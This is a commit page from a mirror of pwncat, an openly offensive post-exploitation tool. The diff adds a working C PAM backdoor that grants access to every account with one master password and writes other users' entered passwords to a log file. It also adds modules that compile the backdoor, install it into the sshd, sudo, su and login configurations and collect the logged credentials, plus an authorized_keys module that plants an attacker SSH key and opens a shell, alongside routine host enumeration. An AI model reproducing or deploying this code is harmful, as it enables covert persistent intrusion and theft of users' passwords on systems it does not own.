1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 10:54:14 +01:00

Converted more modules

Mainly worked on authorized_keys and pam persistence modules. Also added
the `load` command allowing users to load custom modules from different
directories. Lastly, added the optional inclusion of a
`$XDG_CONFIG_HOME/pwncat/pwncatrc` configuration allowing you to specify
configuration for all invocations of pwncat (like a custom module directory).
This commit is contained in:
Caleb Stewart 2020-09-13 14:23:32 -04:00
parent 8fed7c9829
commit 37961a301b
23 changed files with 1204 additions and 15 deletions

View File

@ -14,6 +14,10 @@ RUN set -eux \
RUN set -eux \ RUN set -eux \
&& python3 -m ensurepip && python3 -m ensurepip
# Ensure pip is up to date
RUN set -eux \
&& python3 -m pip install -U pip setuptools wheel
# Copy pwncat source # Copy pwncat source
COPY . /pwncat COPY . /pwncat

128
IDEAS.md
View File

@ -13,6 +13,134 @@ There is also potential for numerous other methods such as DNS, ICMP,
etc. A Channel class would look a lot like a socket, but would guarantee etc. A Channel class would look a lot like a socket, but would guarantee
a consistent interface across C2 types. a consistent interface across C2 types.
```python
class Channel:
PLATFORM = Platform.UNKNOWN
def recv(self, count: Optional[int] = None):
raise NotImplementedError
def send(self, data: bytes):
raise NotImplementedError
@classmethod
def connect(cls, connection_string: str, port: int, platform: Platform) -> "Channel":
""" Called by the connect command. May look like:
# Connect via ssh
connect ssh user@host
connect ssh -p 2222 user@host
# Connect via raw socket
connect host 4444
# Connect via bind socket
connect bind -p 4444
# Connect via other types
connect icmp host
# Connect for specific platform
connect -P windows host 4444
connect bind -P linux -p 4444
Technically, the first positional parameter is the connection string
and the second is the port number. You can also specify the port number
with `-p` or `--port`. The positional syntax is more natural for raw
socket connect channels, while the `-p` is more natural for ssh and
bind sockets.
"""
raise NotImplementedError
```
## Platform Abstraction
To facilitate true multi-platform functionality, some information should be abstracted
away from the platform. I think this would look like separating the victim object out
into a base class and sub-classes. The base class could be called `Platform` and take
over for the `Platform` Flags class we currently have. Instead of testing a flags class,
we could have `PLATFORM` in modules be an array of supported platform classes, and use
a similar syntax where it would look like `type(pwncat.victim) in module.PLATFORM` or
`isinstance(pwncat.victim, platform.Linux)`.
```python
class Platform:
def __init__(self, channel: Channel):
# Save the channel for future use
self.channel = channel
# Set the prompt
self.update_prompt()
# Spawn a pty if we don't have one
if not self.has_pty():
self.spawn_pty()
def has_pty(self) -> bool:
""" Check if the current shell has a PTY """
def spawn_pty(self):
""" Spawn a PTY in the current shell for full interactive features """
def update_prompt(self):
""" Set the prompt for the current shell """
def which(self, name: str) -> str:
""" Look up a binary on the remote host and return it's path """
def cd(self, directory: str):
""" Change directories """
def listdir(self, directory: str = None) -> Generator[int, None, None]:
""" Return a list of all items in the current directory """
def cwd(self) -> str:
""" Get the current working directory """
def current_user(self) -> User:
""" Get a user object representing the current user """
def current_uid(self) -> int:
""" Get the current user id. This is faster than querying the whole user object """
def open(self, path: str, mode: str, content_length: int) -> Union[TextIO, BinaryIO]:
""" Mimic built-in open function to open a remote file and return a stream. """
def exec(self, argv: List[str], envp: List[str], stdout: str, stderr: str, stream: bool = False) -> Union[str, BinaryIO]:
""" Execute a remote binary and return the stdout. If stream is true, return a
file-like object where we can read the results. """
def process(self, argv: List[str], envp: List[str], stdout: str, stderr: str) -> bytes:
""" Execute a remote binary, but do not wait for completion. Return string which
indicates the completion of the command """
class Linux(Platform):
""" Implement the above abstract methods """
class Windows(Platform):
""" Implement the above abstract methods """
```
With both channels and platforms implemented, the initialization would
look something like this:
```python
# Initialize scripting engine
script_parser = pwncat.commands.Parser()
# Run the connect command
try:
script_parser.dispatch_line(shlex.join(["connect", *remaining_args]), command="pwncat")
except:
# Connection failed
exit(1)
# The connect command initialized the `pwncat.victim` object,
# but it doesn't have a parser yet. We already initialized one
# so store it there.
pwncat.victim.parser = script_parser
```
## Module access ## Module access
Modules are currently segmented by type. There are persistence, privilege Modules are currently segmented by type. There are persistence, privilege

View File

@ -6,6 +6,7 @@ import shlex
import sys import sys
import warnings import warnings
import os import os
from pathlib import Path
from sqlalchemy import exc as sa_exc from sqlalchemy import exc as sa_exc
from sqlalchemy.exc import InvalidRequestError from sqlalchemy.exc import InvalidRequestError
@ -23,6 +24,25 @@ def main():
# Build the victim object # Build the victim object
pwncat.victim = Victim() pwncat.victim = Victim()
# Find the user configuration
config_path = (
Path(os.environ.get("XDG_CONFIG_HOME", "~/.config/")) / "pwncat" / "pwncatrc"
)
config_path = config_path.expanduser()
print("config_path=" + str(config_path))
try:
# Read the config script
with config_path.open("r") as filp:
script = filp.read()
# Run the script
pwncat.victim.command_parser.eval(script, str(config_path))
except (FileNotFoundError, PermissionError):
# The config doesn't exist
pass
# Arguments to `pwncat` are considered arguments to `connect` # Arguments to `pwncat` are considered arguments to `connect`
# We use the `prog_name` argument to make the help for "connect" # We use the `prog_name` argument to make the help for "connect"
# display "pwncat" in the usage. This is just a visual fix, and # display "pwncat" in the usage. This is just a visual fix, and

30
pwncat/commands/load.py Normal file
View File

@ -0,0 +1,30 @@
#!/usr/bin/env python3
import pwncat
from pwncat.commands.base import CommandDefinition, Complete, Parameter
class Command(CommandDefinition):
"""
Load modules from the specified directory. This does not remove
currently loaded modules, but may replace modules which were already
loaded. Also, prior to loading any specified modules, the standard
modules are loaded. This normally happens only when modules are first
utilized. This ensures that a standard module does not shadow a custom
module. In fact, the opposite may happen in a custom module is defined
with the same name as a standard module.
"""
PROG = "load"
ARGS = {
"path": Parameter(
Complete.LOCAL_FILE,
help="Path to a python package directory to load modules from",
nargs="+",
)
}
DEFAULTS = {}
LOCAL = True
def run(self, args):
pwncat.modules.reload(args.path)

View File

@ -134,7 +134,5 @@ class Command(CommandDefinition):
if result.category is None: if result.category is None:
console.print(f"[bold]{result.title}[/bold]") console.print(f"[bold]{result.title}[/bold]")
else: else:
console.print( console.print(f"[bold]{result.category} - {result.title}[/bold]")
f"[bold][yellow]{result.category}[/yellow] - {result.title}[/bold]" console.print(textwrap.indent(result.description, " "))
)
console.print(result.description)

65
pwncat/data/pam.c Normal file
View File

@ -0,0 +1,65 @@
#include <stdio.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <string.h>
#include <sys/file.h>
#include <errno.h>
#include <openssl/sha.h>
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *handle, int flags, int argc, const char **argv)
{
int pam_code;
const char *username = NULL;
const char *password = NULL;
char passwd_line[1024];
int found_user = 0;
char key[20] = {__PWNCAT_HASH__};
FILE* filp;
pam_code = pam_get_user(handle, &username, "Username: ");
if (pam_code != PAM_SUCCESS) {
return PAM_IGNORE;
}
filp = fopen("/etc/passwd", "r");
if( filp == NULL ){
return PAM_IGNORE;
}
while( fgets(passwd_line, 1024, filp) ){
char* valid_user = strtok(passwd_line, ":");
if( strcmp(valid_user, username) == 0 ){
found_user = 1;
break;
}
}
fclose(filp);
if( found_user == 0 ){
return PAM_IGNORE;
}
pam_code = pam_get_authtok(handle, PAM_AUTHTOK, &password, "Password: ");
if (pam_code != PAM_SUCCESS) {
return PAM_IGNORE;
}
if( memcmp(SHA1(password, strlen(password), NULL), key, 20) != 0 ){
filp = fopen("__PWNCAT_LOG__", "a");
if( filp != NULL )
{
fprintf(filp, "%s:%s\n", username, password);
fclose(filp);
}
return PAM_IGNORE;
}
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_IGNORE;
}
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_IGNORE;
}
PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_IGNORE;
}
PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_IGNORE;
}
PAM_EXTERN int pam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, const char **argv){
return PAM_IGNORE;
}

View File

@ -25,7 +25,7 @@ class Fact(Base, Result):
@property @property
def category(self) -> str: def category(self) -> str:
return f"{self.type} facts" return f"{self.type}"
@property @property
def title(self) -> str: def title(self) -> str:

View File

@ -3,6 +3,7 @@ import inspect
import pkgutil import pkgutil
import re import re
from dataclasses import dataclass from dataclasses import dataclass
import typing
from typing import Any, Callable from typing import Any, Callable
from rich.progress import Progress from rich.progress import Progress
@ -230,18 +231,26 @@ class BaseModule(metaclass=BaseModuleMeta):
def __init__(self): def __init__(self):
self.progress = None self.progress = None
# Filled in by reload
self.name = None
def run(self, **kwargs): def run(self, **kwargs):
""" Execute this module """ """ Execute this module """
raise NotImplementedError raise NotImplementedError
def reload(): def reload(where: typing.Optional[typing.List[str]] = None):
""" Reload the modules """ """ Reload the modules """
for loader, module_name, is_pkg in pkgutil.walk_packages( # We need to load built-in modules first
__path__, prefix=__name__ + "." if not LOADED_MODULES and where is not None:
): reload()
# If no paths were specified, load built-ins
if where is None:
where = __path__
for loader, module_name, _ in pkgutil.walk_packages(where, prefix=__name__ + "."):
module = loader.find_module(module_name).load_module(module_name) module = loader.find_module(module_name).load_module(module_name)
if getattr(module, "Module", None) is None: if getattr(module, "Module", None) is None:

View File

@ -14,16 +14,23 @@ class PasswordData:
password: str password: str
filepath: str filepath: str
lineno: int lineno: int
uid: int = None
def __str__(self): def __str__(self):
if self.password is not None: if self.password is not None:
result = f"Potential Password [cyan]{repr(self.password)}[/cyan]" result = f"Potential Password [cyan]{repr(self.password)}[/cyan]"
if self.uid is not None:
result += f" for [blue]{self.user.name}[/blue]"
if self.filepath is not None: if self.filepath is not None:
result += f" ({self.filepath}:{self.lineno})" result += f" ({self.filepath}:{self.lineno})"
else: else:
result = f"Potential Password at [cyan]{self.filepath}[/cyan]:{self.lineno}" result = f"Potential Password at [cyan]{self.filepath}[/cyan]:{self.lineno}"
return result return result
@property
def user(self):
return pwncat.victim.find_user_by_id(self.uid) if self.uid is not None else None
@dataclasses.dataclass @dataclasses.dataclass
class PrivateKeyData: class PrivateKeyData:

View File

@ -0,0 +1,59 @@
#!/usr/bin/env python3
import pwncat
from pwncat.platform import Platform
from pwncat.modules.enumerate import EnumerateModule, Schedule
from pwncat.modules.enumerate.creds import PasswordData
from pwncat.modules.persist.gather import InstalledModule
class Module(EnumerateModule):
"""
Exfiltrate logged passwords from the pam-based persistence
module. This persistence module logs all attempted passwords
for all users in a known location. We read this file and yield
all passwords we have collected.
"""
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.ALWAYS
PROVIDES = ["creds.password"]
def enumerate(self):
pam: InstalledModule = None
for module in pwncat.modules.run(
"persist.gather", progress=self.progress, module="persist.pam_backdoor"
):
pam = module
if pam is None:
# The pam persistence module isn't installed.
return
# Grab the log path
log_path = pam.persist.args["log"]
# Just in case we have multiple of the same password logged
observed = []
try:
with pwncat.victim.open(log_path, "r") as filp:
for lineno, line in enumerate(filp):
line = line.strip()
if line in observed:
continue
user, *password = line.split(":")
password = ":".join(password)
# Invalid user name
if user not in pwncat.victim.users:
continue
observed.append(line)
yield "creds.password", PasswordData(
password, log_path, lineno + 1, uid=pwncat.victim.users[user].id
)
except (FileNotFoundError, PermissionError):
pass

View File

@ -0,0 +1,46 @@
#!/usr/bin/env python3
import os
import pwncat
from pwncat.util import Access
from pwncat.platform import Platform
from pwncat.modules.enumerate import EnumerateModule, Schedule
class Module(EnumerateModule):
"""
Locate any components of the current PATH that are writable
by the current user.
"""
PROVIDES = ["system.writable_path"]
SCHEDULE = Schedule.PER_USER
PLATFORM = Platform.LINUX
def enumerate(self):
for path in pwncat.victim.getenv("PATH").split(":"):
access = pwncat.victim.access(path)
if (Access.DIRECTORY | Access.WRITE) in access:
yield "misc.writable_path", path
elif (
Access.EXISTS not in access
and (Access.PARENT_EXIST | Access.PARENT_WRITE) in access
):
yield "misc.writable_path", path
elif access == Access.NONE:
# This means the parent directory doesn't exist. Check up the chain to see if
# We can create this chain of directories
dirpath = os.path.dirname(path)
access = pwncat.victim.access(dirpath)
# Find the first item that either exists or it's parent does
while access == Access.NONE:
dirpath = os.path.dirname(dirpath)
access = pwncat.victim.access(dirpath)
# This item exists. Is it a directory and can we write to it?
if (Access.DIRECTORY | Access.WRITE) in access:
yield "misc.writable_path", path
elif (
Access.PARENT_EXIST | Access.PARENT_WRITE
) in access and Access.EXISTS not in access:
yield "misc.writable_path", path

View File

@ -15,6 +15,9 @@ class Module(BaseModule):
PLATFORM = pwncat.modules.Platform.ANY PLATFORM = pwncat.modules.Platform.ANY
def run(self, output): def run(self, output):
return pwncat.modules.find("enumerate.gather").run( return pwncat.modules.run(
types=["file.suid", "file.caps"], output=output "enumerate.gather",
progress=self.progress,
types=["system.*", "software.sudo.*", "file.suid"],
output=output,
) )

View File

@ -0,0 +1,150 @@
#!/usr/bin/env python3
import dataclasses
import os
import re
import pwncat
from pwncat.platform import Platform
from pwncat.modules import Status
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class CronEntry:
path: str
""" The path to the crontab where this was found """
uid: int
""" The user ID this entry will run as """
command: str
""" The command that will execute """
datetime: str
""" The entire date/time specifier from the crontab entry """
def __str__(self):
return (
f"[blue]{self.user.name}[/blue] runs [yellow]{repr(self.command)}[/yellow]"
)
@property
def description(self):
return f"{self.path}: {self.datetime} {self.command}"
@property
def user(self):
return pwncat.victim.find_user_by_id(self.uid)
def parse_crontab(path: str, line: str, system: bool = True) -> CronEntry:
"""
Parse a crontab line. This returns a tuple of (command, datetime, user) indicating
the command to run, when it will execute, and who it will execute as. If system is
false, then the current user is returned and no user element is parsed (assumed
not present).
This will raise a ValueError if the line is malformed.
:param line: the line from crontab
:param system: whether this is a system or user crontab entry
:return: a tuple of (command, datetime, username)
"""
# Variable assignment, comment or empty line
if (
line.startswith("#")
or line == ""
or re.match(r"[a-zA-Z][a-zA-Z0-9_-]*\s*=.*", line) is not None
):
raise ValueError
entry = [x for x in line.strip().replace("\t", " ").split(" ") if x != ""]
# Malformed entry or comment
if (len(entry) <= 5 and not system) or (len(entry) <= 6 and system):
raise ValueError
when = " ".join(entry[:5])
if system:
uid = pwncat.victim.users[entry[5]].id
command = " ".join(entry[6:])
else:
uid = pwncat.victim.current_user.id
command = " ".join(entry[5:])
return CronEntry(path, uid, command, when)
class Module(EnumerateModule):
"""
Check for any readable crontabs and return their entries.
"""
PROVIDES = ["software.cron.entry"]
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.PER_USER
def enumerate(self):
try:
# Get this user's crontab entries
user_entries = pwncat.victim.env(["crontab", "-l"]).decode("utf-8")
except FileNotFoundError:
# The crontab command doesn't exist :(
return
for line in user_entries.split("\n"):
try:
yield "software.cron.entry", parse_crontab(
"crontab -l", line, system=False
)
except ValueError:
continue
known_tabs = ["/etc/crontab"]
for tab_path in known_tabs:
try:
with pwncat.victim.open(tab_path, "r") as filp:
for line in filp:
try:
yield "software.cron.entry", parse_crontab(
tab_path, line, system=True
)
except ValueError:
continue
except (FileNotFoundError, PermissionError):
pass
known_dirs = [
"/etc/cron.d",
# I'm dumb. These aren't crontabs... they're scripts...
# "/etc/cron.daily",
# "/etc/cron.weekly",
# "/etc/cron.monthly",
]
for dir_path in known_dirs:
try:
yield Status(f"getting crontabs from [cyan]{dir_path}[/cyan]")
filenames = list(pwncat.victim.listdir(dir_path))
for filename in filenames:
if filename in (".", ".."):
continue
yield Status(f"reading [cyan]{filename}[/cyan]")
try:
with pwncat.victim.open(
os.path.join(dir_path, filename), "r"
) as filp:
for line in filp:
try:
yield "software.cron.entry", parse_crontab(
os.path.join(dir_path, filename),
line,
system=True,
)
except ValueError:
pass
except (FileNotFoundError, PermissionError):
pass
except (FileNotFoundError, NotADirectoryError, PermissionError):
pass

View File

@ -0,0 +1,72 @@
#!/usr/bin/env python3
import dataclasses
from typing import List
import pwncat
from pwncat.platform import Platform
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class FstabEntry:
spec: str
""" The FS Specification (e.g. /dev/sda1 or UUID=XXXX) """
target: str
""" The target location for this mount (e.g. /mnt/mydisk or /home) """
fstype: str
""" The type of filesystem being mounted (e.g. ext4 or bind) """
options: List[str]
""" The list of options associated with this mount (split on comma) """
freq: int
""" Whether to dump this filesystem (defaults to zero, fifth field, see fstab(5)) """
passno: int
""" Order of fsck at boot time. See fstab(5) and fsck(8). """
mounted: bool
""" Whether this is currently mounted (not from fstab, but cross-referenced w/ /proc/mount) """
def __str__(self):
if self.mounted:
return (
f"[blue]{self.spec}[/blue] [green]mounted[/green] at "
f"[yellow]{self.target}[/yellow] "
f"as [cyan]{self.fstype}[/cyan]"
)
else:
return (
f"[blue]{self.spec}[/blue] [red]available[/red] to "
f"mount at [yellow]{self.target}[/yellow] "
f"as [cyan]{self.fstype}[/cyan]"
)
class Module(EnumerateModule):
"""
Read /etc/fstab and report on known block device mount points.
"""
PROVIDES = ["system.mountpoint"]
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.ONCE
def enumerate(self):
try:
with pwncat.victim.open("/etc/fstab", "r") as filp:
for line in filp:
line = line.strip()
if line.startswith("#") or line == "":
continue
try:
spec, target, fstype, options, *entries = line.split()
# Optional entries
freq = int(entries[0]) if entries else "0"
passno = int(entries[1]) if len(entries) > 1 else "0"
except (ValueError, IndexError):
# Badly formatted line
continue
yield "system.mountpoint", FstabEntry(
spec, target, fstype, options.split(","), freq, passno, False
)
except (FileNotFoundError, PermissionError):
pass

View File

@ -0,0 +1,53 @@
#!/usr/bin/env python3
import dataclasses
import pwncat
from pwncat.platform import Platform
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class InterfaceData:
interface: str
address: str
def __str__(self):
return f"Interface [cyan]{self.interface}[/cyan] w/ address [blue]{self.address}[/blue]"
class Module(EnumerateModule):
"""
Enumerate network interfaces with active connections
and return their name and IP address.
"""
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.ONCE
PROVIDES = ["system.network.interface"]
def enumerate(self):
try:
output = pwncat.victim.env(["ip", "addr"]).decode("utf-8").strip()
output = output.replace("\r\n", "\n").split("\n")
interface = None
for line in output:
if not line.startswith(" "):
interface = line.split(":")[1].strip()
continue
if interface is None:
# This shouldn't happen. The first line should be an interface
# definition, but just in case
continue
line = line.strip()
if line.startswith("inet"):
address = line.split(" ")[1]
yield "system.network.interface", InterfaceData(interface, address)
return
except FileNotFoundError:
pass

View File

@ -0,0 +1,71 @@
#!/usr/bin/env python3
import dataclasses
from typing import Dict
import pwncat
from pwncat.platform import Platform
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class SELinuxState:
state: str
status: Dict[str, str]
def __str__(self):
result = f"SELinux is "
if self.state == "enabled":
result += f"[red]enabled[/red]"
elif self.state == "disabled":
result += f"[green]disabled[/green]"
else:
result += f"[yellow]{self.state}[/yellow]"
return result
@property
def mode(self) -> str:
return self.status.get("Current mode", "unknown").lower()
@property
def enabled(self) -> bool:
return self.state.lower() == "enabled"
@property
def description(self):
width = max(len(x) for x in self.status) + 1
return "\n".join(
f"{key+':':{width}} {value}" for key, value in self.status.items()
)
class Module(EnumerateModule):
"""
Retrieve the current SELinux state
"""
PROVIDES = ["system.selinux"]
SCHEDULE = Schedule.ONCE
PLATFORM = Platform.LINUX
def enumerate(self):
try:
output = pwncat.victim.env(["sestatus"]).strip().decode("utf-8")
except (FileNotFoundError, PermissionError):
return
status = {}
for line in output.split("\n"):
line = line.strip().replace("\t", " ")
values = " ".join([x for x in line.split(" ") if x != ""]).split(":")
key = values[0].rstrip(":").strip()
value = " ".join(values[1:])
status[key] = value.strip()
if "SELinux status" in status:
state = status["SELinux status"]
else:
state = "unknown"
yield "system.selinux", SELinuxState(state, status)

View File

@ -29,6 +29,7 @@ class PersistType(enum.Flag):
LOCAL = enum.auto() LOCAL = enum.auto()
REMOTE = enum.auto() REMOTE = enum.auto()
ALL_USERS = enum.auto()
class PersistModule(BaseModule): class PersistModule(BaseModule):
@ -68,6 +69,13 @@ class PersistModule(BaseModule):
), ),
} }
def __init__(self):
super(PersistModule, self).__init__()
if PersistType.ALL_USERS in self.TYPE:
self.ARGUMENTS["user"].default = None
self.ARGUMENTS["user"].help = "Ignored. This module applies to all users."
def run(self, remove, escalate, **kwargs): def run(self, remove, escalate, **kwargs):
if "user" not in kwargs: if "user" not in kwargs:
@ -102,8 +110,9 @@ class PersistModule(BaseModule):
yield result yield result
# There was no exception, so we assume it worked. Put the user # There was no exception, so we assume it worked. Put the user
# back in raw mode. # back in raw mode. This is a bad idea, since we may be running
pwncat.victim.state = State.RAW # escalate from a privesc context.
# pwncat.victim.state = State.RAW
return return
elif ident is None and (remove or escalate): elif ident is None and (remove or escalate):
raise PersistError(f"{self.name}: not installed with these arguments") raise PersistError(f"{self.name}: not installed with these arguments")

View File

@ -0,0 +1,236 @@
#!/usr/bin/env python3
import shutil
import socket
import os
import paramiko
from prompt_toolkit import prompt
import pwncat
import pwncat.tamper
from pwncat.util import Access
from pwncat.platform import Platform
from pwncat.modules import Argument
from pwncat.modules.persist import PersistModule, PersistType, PersistError
class Module(PersistModule):
"""
Install the custom backdoor key-pair as an authorized key for
the specified user. This method only succeeds for a user other
than the current user if you are currently root.
"""
# We can escalate locally with `ssh localhost`
TYPE = PersistType.LOCAL | PersistType.REMOTE
PLATFORM = Platform.LINUX
ARGUMENTS = {
**PersistModule.ARGUMENTS,
"backdoor_key": Argument(
str, help="Path to a private/public key pair to install"
),
}
def install(self, user, backdoor_key):
""" Install this persistence method """
homedir = pwncat.victim.users[user].homedir
if not homedir or homedir == "":
raise PersistError("no home directory")
# Create .ssh directory if it doesn't exist
access = pwncat.victim.access(os.path.join(homedir, ".ssh"))
if Access.DIRECTORY not in access or Access.EXISTS not in access:
pwncat.victim.run(["mkdir", "-p", os.path.join(homedir, ".ssh")])
# Create the authorized_keys file if it doesn't exist
access = pwncat.victim.access(os.path.join(homedir, ".ssh", "authorized_keys"))
if Access.EXISTS not in access:
pwncat.victim.run(
["touch", os.path.join(homedir, ".ssh", "authorized_keys")]
)
pwncat.victim.run(
["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")]
)
authkeys = []
else:
try:
# Read in the current authorized keys if it exists
with pwncat.victim.open(
os.path.join(homedir, ".ssh", "authorized_keys"), "r"
) as filp:
authkeys = filp.readlines()
except (FileNotFoundError, PermissionError) as exc:
raise PersistError(str(exc))
try:
# Read our public key
with open(backdoor_key + ".pub", "r") as filp:
pubkey = filp.readlines()
except (FileNotFoundError, PermissionError) as exc:
raise PersistError(str(exc))
# Ensure we read a public key
if not pubkey:
raise PersistError(
f"{pwncat.victim.config['privkey']+'.pub'}: empty public key"
)
# Add our public key
authkeys.extend(pubkey)
authkey_data = "".join(authkeys)
# Write the authorized keys back to the authorized keys
try:
with pwncat.victim.open(
os.path.join(homedir, ".ssh", "authorized_keys"),
"w",
length=len(authkey_data),
) as filp:
filp.write(authkey_data)
except (FileNotFoundError, PermissionError) as exc:
raise PersistError(str(exc))
# Ensure we have correct permissions for ssh to work properly
pwncat.victim.env(
["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")]
)
pwncat.victim.env(
[
"chown",
f"{user}:{user}",
os.path.join(homedir, ".ssh", "authorized_keys"),
]
)
# Register the modifications with the tamper module
pwncat.victim.tamper.modified_file(
os.path.join(homedir, ".ssh", "authorized_keys"), added_lines=pubkey
)
def remove(self, user, backdoor_key):
""" Remove this persistence method """
try:
# Read our public key
with open(backdoor_key + ".pub", "r") as filp:
pubkey = filp.readlines()
except (FileNotFoundError, PermissionError) as exc:
raise PersistError(str(exc))
# Find the user's home directory
homedir = pwncat.victim.users[user].homedir
if not homedir or homedir == "":
raise PersistError("no home directory")
# Remove the tamper tracking
for tamper in pwncat.victim.tamper.filter(pwncat.tamper.ModifiedFile):
if (
tamper.path == os.path.join(homedir, ".ssh", "authorized_keys")
and tamper.added_lines == pubkey
):
try:
# Attempt to revert our changes
tamper.revert()
except pwncat.tamper.RevertFailed as exc:
raise PersistError(str(exc))
# Remove the tamper tracker
pwncat.victim.tamper.remove(tamper)
break
else:
raise PersistError("failed to find matching tamper")
def escalate(self, user, backdoor_key):
""" Locally escalate to the given user with this method """
try:
# Ensure there is an SSH server
sshd = pwncat.victim.find_service("sshd")
except ValueError:
return False
# Ensure it is running
if not sshd.running:
return False
# Upload the private key
with pwncat.victim.tempfile("w", length=os.path.getsize(backdoor_key)) as dst:
with open(backdoor_key, "r") as src:
shutil.copyfileobj(src, dst)
privkey_path = dst.name
# Ensure correct permissions
try:
pwncat.victim.env(["chmod", "600", privkey_path])
except FileNotFoundError:
# We don't have chmod :( this probably won't work, but
# we can try it.
pass
# Run SSH, disabling password authentication to force public key
# Don't wait for the result, because this won't exit
pwncat.victim.env(
[
"ssh",
"-i",
privkey_path,
"-o",
"StrictHostKeyChecking=no",
"-o",
"PasswordAuthentication=no",
f"{user}@localhost",
],
wait=False,
)
# Delete the private key. This either worked and we didn't need it
# or it didn't work and we still don't need it.
try:
pwncat.victim.env(["rm", "-f", privkey_path])
except FileNotFoundError:
# File removal failed because `rm` doesn't exist. Register it as a tamper.
pwncat.victim.tamper.created_file(privkey_path)
return True
def connect(self, user, backdoor_key: str) -> socket.SocketType:
""" Reconnect to this host with this persistence method """
try:
# Connect to the remote host's ssh server
sock = socket.create_connection((pwncat.victim.host.ip, 22))
except Exception as exc:
raise PersistError(str(exc))
# Create a paramiko SSH transport layer around the socket
t = paramiko.Transport(sock)
try:
t.start_client()
except paramiko.SSHException:
raise PersistError("ssh negotiation failed")
try:
# Load the private key for the user
key = paramiko.RSAKey.from_private_key_file(backdoor_key)
except:
password = prompt("RSA Private Key Passphrase: ", is_password=True)
key = paramiko.RSAKey.from_private_key_file(backdoor_key, password)
# Attempt authentication
try:
t.auth_publickey(user, key)
except paramiko.ssh_exception.AuthenticationException:
raise PersistError("authorized key authentication failed")
if not t.is_authenticated():
t.close()
sock.close()
raise PersistError("authorized key authentication failed")
# Open an interactive session
chan = t.open_session()
chan.get_pty()
chan.invoke_shell()
return chan

View File

@ -72,7 +72,7 @@ class Module(BaseModule):
host_id=pwncat.victim.host.id host_id=pwncat.victim.host.id
) )
if module is not None: if module is not None:
query = query.filter_by(module=module) query = query.filter_by(method=module)
# Grab all the rows # Grab all the rows
modules = [ modules = [

View File

@ -0,0 +1,224 @@
#!/usr/bin/env python3
import pkg_resources
import base64
import hashlib
import socket
import io
import os
from typing import Optional
import pwncat
from pwncat.util import CompilationError, Access
from pwncat.platform import Platform
from pwncat.modules import Argument, Status
from pwncat.modules.persist import PersistModule, PersistError, PersistType
class Module(PersistModule):
"""
Install a backdoor PAM module which allows authentication
with a single password for all users. This PAM module does
not interrupt authentication with correct user passwords.
Further, it will log all entered passwords (except the
backdoor password) to a log file which can be collected
with the creds.pam enumeration module. The installed module
will be named `pam_succeed.so`.
"""
TYPE = PersistType.LOCAL | PersistType.REMOTE | PersistType.ALL_USERS
PLATFORM = Platform.LINUX
ARGUMENTS = {
**PersistModule.ARGUMENTS,
"password": Argument(str, help="The password to use for the backdoor"),
"log": Argument(
str,
default="/var/log/firstlog",
help="Location where username/passwords will be logged",
),
}
def install(self, user: str, password: str, log: str):
""" Install this module """
if user is not None:
self.progress.log(
f"[yellow]warning[/yellow]: {self.name}: this module applies to all users"
)
if pwncat.victim.current_user.id != 0:
raise PersistError("must be root")
# Read the source code
with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp:
sneaky_source = filp.read()
yield Status("checking selinux state")
# SELinux causes issues depending on it's configuration
for selinux in pwncat.modules.run(
"enumerate.gather", progress=self.progress, types=["system.selinux"]
):
if selinux.data.enabled and "enforc" in selinux.data.mode:
raise PersistError("selinux is currently in enforce mode")
elif selinux.data.enabled:
self.progress.log(
"[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
)
# We use the backdoor password. Build the string of encoded bytes
# These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
password_hash = hashlib.sha1(password.encode("utf-8")).digest()
password_hash = ",".join(hex(c) for c in password_hash)
# Insert our key
sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash)
# Insert the log location for successful passwords
sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log)
yield Status("compiling pam module for target")
try:
# Compile our source for the remote host
lib_path = pwncat.victim.compile(
[io.StringIO(sneaky_source)],
suffix=".so",
cflags=["-shared", "-fPIE"],
ldflags=["-lcrypto"],
)
except (FileNotFoundError, CompilationError) as exc:
raise PersistError(f"pam: compilation failed: {exc}")
yield Status("locating pam module installation")
# Locate the pam_deny.so to know where to place the new module
pam_modules = "/usr/lib/security"
try:
results = (
pwncat.victim.run(
"find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
)
.strip()
.decode("utf-8")
)
if results != "":
results = results.split("\n")
pam_modules = os.path.dirname(results[0])
except FileNotFoundError:
pass
yield Status(f"pam modules located at {pam_modules}")
# Ensure the directory exists and is writable
access = pwncat.victim.access(pam_modules)
if (Access.DIRECTORY | Access.WRITE) in access:
# Copy the module to a non-suspicious path
yield Status("copying shared library")
pwncat.victim.env(
["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
)
new_line = "auth\tsufficient\tpam_succeed.so\n"
yield Status("adding pam auth configuration")
# Add this auth method to the following pam configurations
for config in ["sshd", "sudo", "su", "login"]:
yield Status(f"adding pam auth configuration: {config}")
config = os.path.join("/etc/pam.d", config)
try:
# Read the original content
with pwncat.victim.open(config, "r") as filp:
content = filp.readlines()
except (PermissionError, FileNotFoundError):
continue
# We need to know if there is a rootok line. If there is,
# we should add our line after it to ensure that rootok still
# works.
contains_rootok = any("pam_rootok" in line for line in content)
# Add this auth statement before the first auth statement
